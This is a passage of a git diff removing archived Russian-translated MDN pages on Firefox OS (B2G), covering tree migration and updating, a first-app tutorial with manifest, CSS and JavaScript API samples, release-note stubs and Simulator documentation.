-<p>Если вы ранее создали B2G дерево, а затем получил новый компьютер (вам повезло!), Вы найдете вашу жизнь будет намного легче, если вы просто перенести всю вашу B2G дерево со старого компьютера на новый, а чем установка все это снова. Чтобы сделать это, установите диск вашего старого компьютера на новый компьютер, то сделать это:</p>
-
-<pre>rsync -a <em>source</em>/ <em>dest</em>/
-</pre>
-
-<p>Где источник полный путь (включая слэш) исходного дерева, и приемник, где вы хотите, чтобы положить ее (косая черта также важно!).</p>
-
-<div class="note">Примечание: При копировании файлов с компьютера другую платформу обеспечения для запуска '<em>./build.sh </em>clean ", прежде чем начать процесс сборки. Если вы этого не сделаете это, вы можете столкнуться с проблемами компиляции.</div>
-
-<p>Если вы сделаете это, вы можете пропустить все остальной части этой статьи и перейти прямо к <a class="vt-p" href="/en-US/docs/Mozilla/Firefox_OS/Building" title="Mozilla/Firefox_OS/Building">building</a>.</p>
-
-<h2 id="Обновление_B2G_дерево">Обновление B2G дерево</h2>
-
-<p>Когда хранилище обновляется до новой версии B2G, вы хотите, чтобы обновить B2G дерево. Чтобы сделать это, вы можете выполнить следующие команды:</p>
-
-<pre>git fetch origin
-git checkout origin/master</pre>
-
-<p>Вы можете проверить, что это работает правильно, запустив:</p>
-
-<pre>git show HEAD</pre>
-
-<p>и убедившись, что фиксация показано соответствует последний коммит показано на: <a class="vt-p" href="https://github.com/mozilla-b2g/B2G/commits/master" title="https://github.com/mozilla-b2g/B2G/commits/master">https://github.com/mozilla-b2g/B2G/commits/master</a></p>
-
-<h2 id="Переходим_к_следующему_шагу">Переходим к следующему шагу</h2>
-
-<p>На данный момент, вы должны быть готовы к <a href="/en-US/Firefox_OS/Building">Building Firefox OS [en-US]</a>.</p>
diff --git a/files/ru/archive/b2g_os/quickstart/index.html b/files/ru/archive/b2g_os/quickstart/index.html
deleted file mode 100644
index a5bb4fa406..0000000000
--- a/files/ru/archive/b2g_os/quickstart/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: Build
-slug: Archive/B2G_OS/Quickstart
-tags:
- - Apps
- - NeedsTranslation
- - Quickstart
- - TopicStub
-translation_of: Archive/B2G_OS/Quickstart
----
-<div class="summary">
- <p><span class="seoSummary">Quickstart information on coding open web apps.</span></p>
-</div>
-<dl>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_open_web_apps">Introduction to open web apps</a></dt>
- <dd>
- What are open web apps? How they differ from regular web pages? Why is this significant? This article aims to answer these questions and more.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Your_first_app">Your first app</a></dt>
- <dd>
- This article takes you through the basic steps and additional knowledge on top of regular web development required to create installable open web apps.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_Firefox_OS">Introduction to Firefox OS</a></dt>
- <dd>
- An introduction to Firefox OS, Mozilla's new open web app-based mobile platform.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Intro_to_manifests">Introduction to manifests</a></dt>
- <dd>
- An FAQ designed to answer any questions you may have about manifests, hosting apps, origins, and other such topics.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_Web_developers">App development for web developers</a></dt>
- <dd>
- If you're a web developer, how do open web apps differ from what you're used to? This article explains all.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/For_mobile_developers">App development for mobile developers</a></dt>
- <dd>
- If you're a native mobile application developer, what advantages can open web apps bring to you, and how do they differ from what you are used to? Here are some ideas.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Developing_app_functionality">Developing app functionality</a></dt>
- <dd>
- This page talks about the kinds of different functionality that you might want to build into your apps, with links to further information.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/Payments">Payments</a></dt>
- <dd>
- How do you build functionality to make people pay for installing your open web apps? Here is the lowdown.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/Quickstart/Build/App_tools">App tools</a></dt>
- <dd>
- Last for this section, we provide some links to more information on the tools available to help you develop great open web apps.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html b/files/ru/archive/b2g_os/quickstart/your_first_app/index.html
deleted file mode 100644
index ed0da26923..0000000000
--- a/files/ru/archive/b2g_os/quickstart/your_first_app/index.html
+++ /dev/null
@@ -1,267 +0,0 @@
----
-title: Ваше первое приложение
-slug: Archive/B2G_OS/Quickstart/Your_first_app
-tags:
- - Начальный
- - Приложение
- - Руководство
-translation_of: Archive/B2G_OS/Quickstart/Your_first_app
----
-<div class="note">
-<p><strong>Примечание</strong>: раздел  Быстрый старт был обновлен <a href="/en-US/Apps/Quickstart">новой, более целенаправленной статьей Быстрого старта</a>, которая заменяет все предыдущие статьи. Мы надеемся, что вы считаете это более удобным, и ускоренным опытом обучения, чем предыдущие серии статей.</p>
-</div>
-
-<article class="brush: js">
-<div class="summary">
-<p>Открытые веб-приложения дают веб-разработчикам именно то, что они хотели годами: кросс-платформенная среда, посвященная инсталлируемым приложениям, созданным с помощью  HTML, CSS и JavaScript - в Firefox OS является первым специализированным открытым веб приложением платформы. Это руководство стремится достучаться до вас и работать быстро с базовой архитектурой и инструкцией по сборке, так что вы сможете создать последующее отличное приложение!</p>
-</div>
-
-<p>.Если вы хотели бы работать вместе с этим руководством, вы можете <a href="https://github.com/chrisdavidmills/mdn-app-template">скачать наш быстрый шаблон</a> запуска приложения. Найти больше  о том, что он содержит, читая наш путеводитель <a href="/en-US/docs/Project:MDN/Style_guide/Sample_app_coding_guidelines#Apps_template">приложения шаблона</a>.</p>
-
-<h2 id="Структура_приложения">Структура приложения</h2>
-
-<h3 id="Пакетные_и_Размещенные_приложения">Пакетные и Размещенные приложения</h3>
-
-<p>Есть два типа открытых веб-приложений: пакетные и размещенные. Пакетные приложения, по сути, сжатые файлы, содержащие все компоненты приложения: HTML, CSS, JavaScript, изображения, подписи и т.д. Размещаемые приложения  запускаются с сервера в заданном домене, так же, как стандартный веб-сайт. Оба типа приложений требуют действительные подписи. Когда приходит время, чтобы перенести свои приложения на Firefox Marketplace, вы либо загрузружаете свое приложение в виде сжатого файла или предоставляете URL, где размещается действующее приложений. </p>
-
-<div style="width: 480px; margin: 0 auto;">
-<p><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/Q7x-B13y33Q/?feature=player_detailpage" width="480"></iframe></p>
-
-<div class="video-caption">
-<p>Сделано в сотрудничестве с Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">Проверьте их!</a></p>
-</div>
-</div>
-
-<div>Цель данного руководства - создание размещенного приложения, которое будет жить на вашем локальном адресе. После того, как ваше приложение будет готово к переносу на Firefox Marketplace, вы можете принять решение сделать его пакетным приложенкм или запускать его в качестве размещенного приложения. </div>
-
-<div> </div>
-
-<h3 id="Подпись_приложения">Подпись приложения</h3>
-
-<p><span style="line-height: 1.5;">Каждое Firefox приложение требует файл </span><a href="/en-US/docs/Web/Apps/Manifest" style="line-height: 1.5;">manifest.webapp</a><span style="line-height: 1.5;"> в корне. Файл manifest.webapp предоставляет важную информацию о приложении, например, версию, имя, описание, значка расположение, языковые стандарты, домены, приложение может быть установлено из, и многое другое. Только название и описание не требуется. Простые подписи включены в шаблоне приложения и похоже на следующее:</span></p>
-
-<pre class="brush: js">{
- "version": "0.1",
- "name": "Open Web App",
- "description": "Your new awesome Open Web App",
- "launch_path": "/app-template/index.html",
- "icons": {
- "16": "/app-template/app-icons/icon-16.png",
- "48": "/app-template/app-icons/icon-48.png",
- "128": "/app-template/app-icons/icon-128.png"
- },
- "developer": {
- "name": "Your Name",
- "url": "http://yourawesomeapp.com"
- },
- "locales": {
- "es": {
- "description": "Su nueva aplicación impresionante Open Web",
- "developer": {
- "url": "http://yourawesomeapp.com"
- }
- },
- "it": {
- "description": "La tua nuova fantastica Open Web App",
- "developer": {
- "url": "http://yourawesomeapp.com"
- }
- }
- },
- "default_locale": "en"
-}</pre>
-
-<div style="width: 480px; margin: 0 auto;">
-<p><iframe frameborder="0" height="270" src="https://www.youtube.com/embed/dgAUgHQOm8M#t/?feature=player_detailpage" width="480"></iframe></p>
-
-<div class="video-caption">
-<p>Сделано в сотрудничестве с Treehouse: <a class="button" href="http://teamtreehouse.com/?cid=1154">ПРОВЕРЬТЕ ИХ!</a></p>
-</div>
-</div>
-
-<p> </p>
-
-<p><span style="line-height: 1.5;">Базовая подпись – все, что нужно, чтобы начать работу. Для более подробной информации о подписи, прочитайте </span><a href="/en-US/docs/Web/Apps/Manifest" style="line-height: 1.5;">Подпись приложения</a><span style="line-height: 1.5;"> .</span></p>
-
-<h2 id="Макет_Дизайн_приложения">Макет &amp; Дизайн приложения</h2>
-
-<p><span style="line-height: 1.5;">Отзывчивый дизайн становится все более важным, поскольку большое разрешение экрана становятся стандартом для различных устройств. Даже если главная цель вашего приложения является направленной на мобильные платформы, такие как Firefox OS, другие устройства, скорее всего, также имеют доступ к нему. </span><a href="//developer.mozilla.org/docs/CSS/Media_queries" style="line-height: 1.5;">CSS медиа запросы</a><span style="line-height: 1.5;">  позволяют вам адаптировать макет для устройства, как показано в этом примере скелет CSS:</span></p>
-
-<pre class="brush: css">/* The following are examples of different CSS media queries */
-
-/* Basic desktop/screen width sniff */
-@media only screen and (min-width : 1224px) {
- /* styles */
-}
-
-/* Traditional iPhone width */
-@media
- only screen and (-webkit-min-device-pixel-ratio : 1.5),
- only screen and (min-device-pixel-ratio : 1.5) {
- /* styles */
-}
-
-/* Device settings at different orientations */
-@media screen and (orientation:portrait) {
- /* styles */
-}
-@media screen and (orientation:landscape) {
- /* styles */
-}</pre>
-
-<p>There are many JavaScript and CSS frameworks available to aid in responsive design and mobile app development (<a href="http://twitter.github.com/bootstrap">Bootstrap</a>, etc.) Choose the framework(s) that best fit your app and development style.</p>
-
-<h2 id="Web_APIs">Web APIs</h2>
-
-<p>JavaScript APIs are being created and enhanced as quickly as devices are. Mozilla's <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> effort brings dozens of standard mobile features to JavaScript APIs. A list of device support and status is available on the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page. JavaScript feature detection is still the best practice, as shown in the following example:</p>
-
-<pre class="brush: js">// If this device supports the vibrate API...
-if('vibrate' in navigator) {
- // ... vibrate for a second
- navigator.vibrate(1000);
-}</pre>
-
-<p>In the following example, the display style of a <code>&lt;div&gt;</code> is modified based on changes in the battery state of the device:</p>
-
-<pre class="brush: javascript">// Create the battery indicator listeners
-(function() {
- var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery,
- indicator, indicatorPercentage;
-
- if(battery) {
- indicator = document.getElementById('indicator'),
- indicatorPercentage = document.getElementById('indicator-percentage');
-
- // Set listeners for changes
- battery.addEventListener('chargingchange', updateBattery);
- battery.addEventListener('levelchange', updateBattery);
-
- // Update immediately
- updateBattery();
- }
-
- function updateBattery() {
- // Update percentage width and text
- var level = (battery.level * 100) + '%';
- indicatorPercentage.style.width = level;
- indicatorPercentage.innerHTML = 'Battery: ' + level;
- // Update charging status
- indicator.className = battery.charging ? 'charging' : '';
- }
-})();</pre>
-
-<p>In the code sample above, once you confirm that the <a href="https://developer.mozilla.org/en-US/docs/DOM/window.navigator.battery">Battery API</a> is supported, you can add event listeners for <code>chargingchange</code> and <code>levelchange</code> to update the element's display. Try adding the following to the quickstart template, and see if you can get it working.</p>
-
-<p>Check the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> page frequently to keep up to date with device API statuses.</p>
-
-<h3 id="Install_API_functionality">Install API functionality</h3>
-
-<p>In our sample quickstart app template, we've implemented an install button that you can click when viewing the app as a standard Web page, to install that site on Firefox OS as an app. The button markup is nothing special:</p>
-
-<pre class="brush: html">&lt;button id="install-btn"&gt;Install app&lt;/button&gt;</pre>
-
-<p>This button's functionality is implemented using the Install API (see install.js):</p>
-
-<pre class="brush: js">var manifest_url = location.href + 'manifest.webapp';
-
-function install(ev) {
-  ev.preventDefault();
-  // define the manifest URL
-  // install the app
-  var installLocFind = navigator.mozApps.install(manifest_url);
-  installLocFind.onsuccess = function(data) {
-    // App is installed, do something
-  };
-  installLocFind.onerror = function() {
-    // App wasn't installed, info is in
-    // installapp.error.name
-    alert(installLocFind.error.name);
-  };
-};
-
-// get a reference to the button and call install() on click if the app isn't already installed. If it is, hide the button.
-var button = document.getElementById('install-btn');
-
-var installCheck = navigator.mozApps.checkInstalled(manifest_url);
-
-installCheck.onsuccess = function() {
-  if(installCheck.result) {
-    button.style.display = "none";
-  } else {
-    button.addEventListener('click', install, false);
-  };
-};
-</pre>
-
-<p>Let's run through briefly what is going on:</p>
-
-<ol>
- <li>We get a reference to the install button and store it in the variable <code>button</code>.</li>
- <li>We use <code>navigator.mozApps.checkInstalled</code> to check whether the app defined by the manifest at <code>http://people.mozilla.com/~cmills/location-finder/manifest.webapp</code> is already installed on the device. This test is stored in the variable <code>installCheck</code>.</li>
- <li>When the test is successfully carried out, its success event is fired, therefore <code>installCheck.onsuccess = function() { ... }</code> is run.</li>
- <li>We then test for the existence of <code>installCheck.result</code> using an <code>if</code> statement. If it does exist, meaning that the app is installed, we hide the button. An install button isn't needed if it is already installed.</li>
- <li>If the app isn't installed, we add a click event listener to the button, so the <code>install()</code> function is run when the button is clicked.</li>
- <li>When the button is clicked and the <code>install()</code> function is run, we store the manifest file location in a variable called <code>manifest_url</code>, and then install the app using <code>navigator.mozApps.install(manifest_url)</code>, storing a reference to that installation in the <code>installLocFind</code> variable. You'll notice that this installation also fires success and error events, so you can run actions dependent on whether the install happened successfully or not.</li>
-</ol>
-
-<p>You may want to verify the <a href="/en-US/docs/Web/Apps/JavaScript_API">implementation state of the API</a> when first coming to Installable web apps.</p>
-
-<div class="note">
-<p>Note: Installable open web apps have a "single app per origin" security policy; basically, you can't host more than one installable app per origin. This makes testing a bit more tricky, but there are still ways around this, such as creating different sub-domains for apps, testing them using the Firefox OS Simulator, or testing the install functionality on Firefox Aurora/Nightly, which allows you to install installable web apps on the desktop. See <a href="/en-US/docs/Web/Apps/FAQs/About_app_manifests">FAQs about apps manifests</a> for more information on origins.</p>
-</div>
-
-<h2 id="WebRT_APIs_(Permissions-based_APIs)">WebRT APIs (Permissions-based APIs)</h2>
-
-<p>There are a number of WebAPIs that are available but require permissions for that specific feature to be enabled. Apps may register permission requests within the <code>manifest.webapp</code> file like so:</p>
-
-<pre class="brush: js">// New key in the manifest: "permissions"
-// Request access to any number of APIs
-// Here we request permissions to the systemXHR API
-"permissions": {
- "systemXHR": {}
-}</pre>
-
-<p>The three levels of permission are as follows:</p>
-
-<ul>
- <li>Normal — APIs that don't need any kind of special access permissions.</li>
- <li>Privileged — APIs available to developers to use in their applications, as long as they set access permissions in the app manifest files, and distribute them through a trusted source.</li>
- <li>Certified — APIs that control critical functions on a device, such as the call dialer and messaging services. These are generally not available for third party developers to use.</li>
-</ul>
-
-<p>For more information on app permission levels, read <a href="https://developer.mozilla.org/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps" title="/en-US/docs/Web/Apps/Packaged_apps#Types_of_packaged_apps">Types of packaged apps</a>. You can find out more information about what APIs require permissions, and what permissions are required, at <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a>.</p>
-
-<div class="note">
-<p>It's important to note that not all Web APIs have been implemented within the Firefox OS Simulator.</p>
-</div>
-
-<h2 id="Tools_Testing">Tools &amp; Testing</h2>
-
-<p>Testing is incredibly important when supporting mobile devices. There are many options for testing installable open web apps.</p>
-
-<h3 id="WebIDE_with_Firefox_OS_Simulator">WebIDE with Firefox OS Simulator</h3>
-
-<p>The new kid on the block with regards to testing tools is called <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>. This tool allows you to connect desktop Firefox to a compatible device via USB (or a Firefox OS simulator), push apps straight to the device, validate apps, and debug them as they run on the device.</p>
-
-<h3 id="Unit_Testing">Unit Testing</h3>
-
-<p>Unit tests are extremely valuable when testing on different devices and builds. jQuery's <a href="http://qunitjs.com">QUnit</a> is a popular client-side testing utility, but you can use any set of testing tools you'd like.</p>
-
-<h3 id="Installing_Firefox_OS_on_a_Device">Installing Firefox OS on a Device</h3>
-
-<p>Since Firefox OS is an open source platform, code and tools are available to build and install Firefox OS on your own device. Build and installation instructions, as well as notes on what devices it can be installed on, can be found on <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform">MDN</a>.</p>
-
-<p>Dedicated Firefox OS developer preview devices are also available: read our <a href="https://marketplace.firefox.com/developers/dev_phone">Developer preview phone page</a> for more information.</p>
-
-<h2 id="App_Submission_and_Distribution">App Submission and Distribution</h2>
-
-<p>Once your app is complete, you can host it yourself like a standard web site or app (read <a href="/en-US/docs/Web/Apps/Publishing/Self-publishing_Apps">Self-publishing apps</a> for more information), or it can be <a href="https://marketplace.firefox.com/developers/submit/app/manifest">submitted</a> to the <a href="https://marketplace.firefox.com">Firefox Marketplace</a>. Your app's manifest will be validated and you may choose which devices your app will support (e.g. Firefox OS, Desktop Firefox, Firefox Mobile, Firefox Tablet). Once validated, you can add additional details about your app (screenshots, descriptions, price, etc.) and officially submit the app for listing within the Marketplace. Once approved, your app is available to the world for purchase and installation.</p>
-
-<h3 id="More_Marketplace_Listing_Information">More Marketplace &amp; Listing Information</h3>
-
-<ol>
- <li><a href="/en-US/docs/Web/Apps/Publishing/Submitting_an_app">Submitting an App to the Firefox OS Marketplace </a></li>
- <li><a href="/en-US/docs/Web/Apps/Publishing/Marketplace_review_criteria">Marketplace Review Criteria </a></li>
- <li><a href="http://s.vid.ly/embeded.html?link=8k2n4w&amp;autoplay=false">App Submission Video Walkthrough </a></li>
-</ol>
-</article>
diff --git a/files/ru/archive/b2g_os/releases/2.0/index.html b/files/ru/archive/b2g_os/releases/2.0/index.html
deleted file mode 100644
index e7aa59e0c3..0000000000
--- a/files/ru/archive/b2g_os/releases/2.0/index.html
+++ /dev/null
@@ -1,27 +0,0 @@
----
-title: Firefox OS 2.0 для разработчиков
-slug: Archive/B2G_OS/Releases/2.0
-tags:
- - B2G
- - Firefox OS
- - Информация о версии
-translation_of: Archive/B2G_OS/Releases/2.0
----
-<p></p><div class="overheadIndicator draft">
- <p><strong>Черновик</strong><br>
- Эта страница не завершена.</p>
-
-</div><p></p>
-<div class="summary">
- <p><strong>Firefox OS 2.0</strong> сейчас находится на стадии предрелизной подготовки. Это Gecko компонент базирующийся на <strong>Firefox 32</strong> (см <a href="/en-US/docs/Mozilla/Firefox/Releases/32" title="/en-US/docs/Mozilla/Firefox/Releases/28">Firefox 32 версия для разработчиков</a>.) На этой странице будут отображаться шаги разработки и нововведения в Firefox OS 2.0.</p>
-</div>
-<h2 id="Другое_содержимое_TBD">Другое содержимое TBD</h2>
-<h2 id="Смотрите_также">Смотрите также</h2>
-<ul>
- <li>Firefox OS 2.0 Заметки (ссылка появится как только реализуем.)</li>
-</ul>
-<h2 id="Другие_версии">Другие версии</h2>
-<p></p><div class="multiColumnList">
-<ul>
-<li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.4">Firefox OS 1.4 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.3">Firefox OS 1.3 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.2">Firefox OS 1.2 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.1">Firefox OS 1.1 для разработчиков</a></li><li><a href="/ru/docs/Mozilla/Firefox_OS/Версии/1.0.1">Firefox OS 1.0.1 для разработчиков</a></li></ul>
-</div><p></p>
diff --git a/files/ru/archive/b2g_os/releases/index.html b/files/ru/archive/b2g_os/releases/index.html
deleted file mode 100644
index 3edbcd4c75..0000000000
--- a/files/ru/archive/b2g_os/releases/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
----
-title: Firefox OS developer release notes
-slug: Archive/B2G_OS/Releases
-tags:
- - Firefox OS
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/B2G_OS/Releases
----
-<h2 id="Firefox_OS_release_notes_by_version">Firefox OS release notes by version</h2>
-<p>This section provides articles covering each new release of Gaia and Gecko for Firefox OS, explaining what features were added and bugs eliminated in each update. There is also a linked summary table showing what APIs are supported by each version of Firefox OS.</p>
-<div class="multiColumnList">
- {{ListSubpages("",1,0,1)}}</div>
-<h2 id="Other_supporting_information">Other supporting information</h2>
-<dl>
- <dt>
- <a href="/en-US/docs/Mozilla/Firefox_OS/API_support_table">Firefox OS API support table</a></dt>
- <dd>
- Lists the different APIs available, and what versions of Firefox have support for them.</dd>
- <dt>
- <a href="/en-US/docs/Web/Apps/App_permissions">App permissions</a></dt>
- <dd>
- Lists hosted, privileged and certified APIs, along with information on the permissions they need to have set in the App Manifest of your installable apps, such as the manifest permission name, app type required, description, access property, and default permission.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/simulator/index.html b/files/ru/archive/b2g_os/simulator/index.html
deleted file mode 100644
index e79f5ba765..0000000000
--- a/files/ru/archive/b2g_os/simulator/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: Firefox OS Симулятор
-slug: Archive/B2G_OS/Simulator
-tags:
- - Apps
- - Firefox OS
- - Tools
- - 'l10n:priority'
-translation_of: Archive/B2G_OS/Simulator
----
-<div class="note">
-<p>Страница с описанием Симулятора Firefox OS для разработчиков, ориентирующихся на Firefox OS 1.2 или новее. Если вы разрабатываете приложения для Firefox OS 1.1, то см. документацию для <a href="/ru/docs/Tools/Firefox_OS_1.1_Simulator">Симулятора Firefox OS 1.1</a>.</p>
-</div>
-
-<p><span style="line-height: 1.5;">Firefox OS Simulator — это версия ПО высшего уровня<span style="line-height: 1.5;"> Firefox OS (уровня пользователя)</span>, которая имитирует устройство Firefox OS, но работает на настольном компьютере</span><span style="line-height: 1.5;">. Это означает, что во многих случаях вам не нужно реального устройства для тестирования и отладки приложения. </span><span style="line-height: 1.5;">Он работает в окне того же размера, что и устройство на Firefox OS и включает в себя пользовательский интерфейс Firefox OS и встроенные приложения, а также имитирует многие из API устройств Firefox OS.</span></p>
-
-<p><span style="line-height: 1.5;">Симулятор упаковывается и распространяется как дополнение к Firefox. После того как вы скачали и установили его в Firefox, вы можете запускать его, push apps to it, и подсоединять к нему инструменты разработки с помощью <a href="/ru/Firefox_OS/Using_the_App_Manager">App Manager</a> или </span><a href="/ru/docs/Tools/WebIDE"><span style="line-height: 1.5;">WebIDE</span></a><span style="line-height: 1.5;">.</span></p>
-
-<h2 id="Установка"><span style="line-height: 1.5;">Установка</span></h2>
-
-<p><span style="line-height: 1.5;">Для установки симулятора используйте <a href="/docs/Tools/WebIDE/Setting_up_runtimes#Adding_a_Simulator">панель «Управление дополнительными компонентами» WebIDE</a> (встроена в Firefox 34 с версии 34). Multiple versions are available, and you are advised to install them all, for maximum flexibility.</span></p>
-
-<p>Для запуска симулятора, выберите его из списка сред выполнения WebIDE. Для получения более подробной информации см. <a href="/docs/Tools/WebIDE/Setting_up_runtimes#Selecting_a_runtime" style="font-size: 14px; font-weight: normal; line-height: 1.5;">инструкции в документации WebIDE</a>. После первого запуска симулятора вы можете загружать в него приложения и отлаживать их в WebIDE точно так же, как на реальном устройстве.</p>
-
-<p>Если вы используете <a href="/Firefox_OS/Using_the_App_Manager">App Manager</a> (более старую утилиту, которая была доступна до WebIDE), то вы можете установить симулятор воспользовавшись следующей кнопкой:</p>
-
-<p><a href="https://ftp.mozilla.org/pub/mozilla.org/labs/fxos-simulator/" style="margin-bottom: 20px; padding: 10px; color: white; text-align: center; border-top-left-radius: 4px; border-top-right-radius: 4px; border-bottom-right-radius: 4px; border-bottom-left-radius: 4px; display: inline-block; background-color: rgb(129, 188, 46); white-space: nowrap; text-shadow: rgba(0, 0, 0, 0.247059) 0px 1px 0px; box-shadow: rgba(0, 0, 0, 0.2) 0px 1px 0px 0px, rgba(0, 0, 0, 0.298039) 0px -1px 0px 0px inset;">Установить Симулятор</a></p>
-
-<h2 id="Пользовательский_интерфейс_Симулятора" style="line-height: 30px;">Пользовательский интерфейс Симулятора</h2>
-
-<p>Симулятор запускается в отдельном окне, в адаптированном разрешении с площадью экрана 320x480 пикселей (pixels).</p>
-
-<p><span style="line-height: 22.00800132751465px;">The Simulator appears as a separate window, sized so the simulated screen area is 320x480 pixels. </span><span style="line-height: 22.00800132751465px;">To simulate touch events you can click the mouse button and drag while holding the button down. So by clicking and dragging right-to-left from the Home Screen, you'll see the built-in apps, as well as any apps you have added:</span></p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/7173/simulator-1.2.png" style="display: block; height: 623px; margin: 0px auto; width: 810px;"></p>
-
-<p>The Simulator has two buttons in a toolbar at the bottom:</p>
-
-<ul>
- <li>the button on the left takes you to the Home screen, or switches the Simulator off if you hold it down</li>
- <li>the button on the right switches the Simulator between portrait and landscape orientation. This will generate the <a href="https://developer.mozilla.org/ru/docs/WebAPI/Managing_screen_orientation#Listening_orientation_change" title="/ru/docs/WebAPI/Detecting_device_orientation">orientationchange</a> event.</li>
-</ul>
-
-<h2 id="SD_card_emulation">SD card emulation</h2>
-
-<p>In the Simulator the device SD card is mapped to the "fake-sdcard" directory in the Simulator's profile, which is itself located inside the "extensions" directory under the Firefox profile in which the Simulator is installed. For example:</p>
-
-<pre>/path/to/Firefox/Profiles/Firefox-profile-name/extensions/fxos_2_2_simulator@mozilla.org/profile/fake-sdcard</pre>
-
-<p>Files read or written using the <code><a href="/ru/docs/Web/API/Navigator.getDeviceStorage">getDeviceStorage</a></code> API will appear here.</p>
-
-<p>Before version 2.2 of the Simulator, you had to create the "fake-sdcard" directory manually for this to work. From 2.2 onwards, the "fake-sdcard" directory is created for you automatically.</p>
-
-<p>Also from version 2.2 onwards, if you're running the Simulator from the command line you can define a different directory by passing the <code>--storage-path</code> option.</p>
-
-<h2 id="Limitations_of_the_Simulator">Limitations of the Simulator</h2>
-
-<p>Note that the Firefox OS Simulator isn't a perfect simulation.</p>
-
-<h3 id="Hardware_limitations">Hardware limitations</h3>
-
-<p>Apart from screen size, the Simulator does not simulate the hardware limitations of a Firefox OS device such as available memory or CPU speed.</p>
-
-<h3 id="Аудиовидео_кодеки">Аудио/видео кодеки </h3>
-
-<p>The following codecs depend on hardware-accelerated decoding and are therefore not yet supported:</p>
-
-<ul>
- <li>MP3</li>
- <li>AAC</li>
- <li>H.264 (MP4)</li>
- <li>WebM</li>
-</ul>
-
-<p>This means it isn't possible to use the Simulator to test video playback in apps and on websites like Youtube that rely on these codecs.</p>
-
-<h3 id="Unsupported_APIs"><a name="Unsupported-APIs">Unsupported APIs</a></h3>
-
-<p>Certain APIs that work on the device won't work on the Simulator, generally because the supporting hardware is not available on the desktop. We've implemented simulations for some APIs such as geolocation, and expect to add more in future releases. However, at the moment the following APIs are not supported. Using them might throw errors or just return incorrect results:</p>
-
-<ul>
- <li><a href="/ru/WebAPI/WebTelephony" title="/ru/WebAPI/WebTelephony">Telephony</a></li>
- <li><a href="/ru/docs/WebAPI/WebSMS" title="/ru/docs/WebAPI/WebSMS">WebSMS</a></li>
- <li><a href="/ru/docs/WebAPI/WebBluetooth" title="/ru/docs/WebAPI/WebBluetooth">WebBluetooth</a></li>
- <li><a href="/ru/docs/WebAPI/Using_Light_Events" title="/ru/docs/WebAPI/Using_Light_Events">Ambient Light</a></li>
- <li><a href="/ru/docs/WebAPI/Proximity" title="/ru/docs/WebAPI/Proximity">Proximity</a></li>
- <li><a href="/ru/docs/WebAPI/Network_Information" title="/ru/docs/WebAPI/Network_Information">Network Information</a></li>
- <li><a href="/ru/docs/Online_and_offline_events" title="/ru/docs/Online_and_offline_events">navigator.onLine and offline events</a></li>
- <li><a href="/ru/docs/WebAPI/Vibration" title="/ru/docs/WebAPI/Vibration">Vibration</a></li>
-</ul>
-
-<h2 id="Getting_help"><a name="Simulator-help"></a>Getting help</h2>
-
-<p><span style="line-height: 1.5;">If you have a question, try asking us on the </span><a href="https://lists.mozilla.org/listinfo/dev-developer-tools" style="line-height: 1.5;">dev-developer-tools mailing list</a><span style="line-height: 1.5;"> or on </span><a href="irc://irc.mozilla.org/#devtools" style="line-height: 1.5;">#devtools on irc.mozilla.org</a><span style="line-height: 1.5;">.</span></p>
-
-<h3 id="How_to_enable_verbose_logging"><a name="Simulator-verbose-logging"></a>How to enable verbose logging</h3>
-
-<p>You can see messages logged from your app in the <a href="/ru/docs/Tools/Web_Console">Web Console</a>, which you can attach to your app using the <a href="/docs/Tools/WebIDE/Troubleshooting">WebIDE</a>. If you want to catch early messages happening during app startup, before the console gets connected and working, you can enable verbose logging in the Simulator.</p>
-
-<p>Visit about:config and <strong>create</strong> a new preference. The preference name is different for each version of the Simulator:</p>
-
-<ul>
- <li>extensions.fxos_1_3_simulator@mozilla.org.sdk.console.logLevel for Firefox OS 1.3</li>
- <li>extensions.fxos_1_2_simulator@mozilla.org.sdk.console.logLevel for Firefox OS 1.2</li>
-</ul>
-
-<p>Set it to the string value "all", and disable, then reenable, the add-on in the Add-on Manager. Now extra messages about the Simulator's operation will appear in the <a href="/ru/docs/Tools/Browser_Console">Browser Console</a>.</p>
-
-<h2 id="Building_the_Simulator">Building the Simulator</h2>
-
-<p>If you'd like to test patches to the Gecko or Gaia code that the Simulator contains, you may be interested in <a href="/ru/Firefox_OS/Running_custom_builds_in_the_App_Manager">modifying the simulator</a> to use a custom Gecko build or Gaia profile. Alternatively, you can <a href="/ru/Firefox_OS/Building_the_Firefox_OS_simulator">build a new Simulator</a> from your Gecko checkout.</p>
diff --git a/files/ru/archive/b2g_os/using_the_app_manager/index.html b/files/ru/archive/b2g_os/using_the_app_manager/index.html
deleted file mode 100644
index 4eb7c0bdf9..0000000000
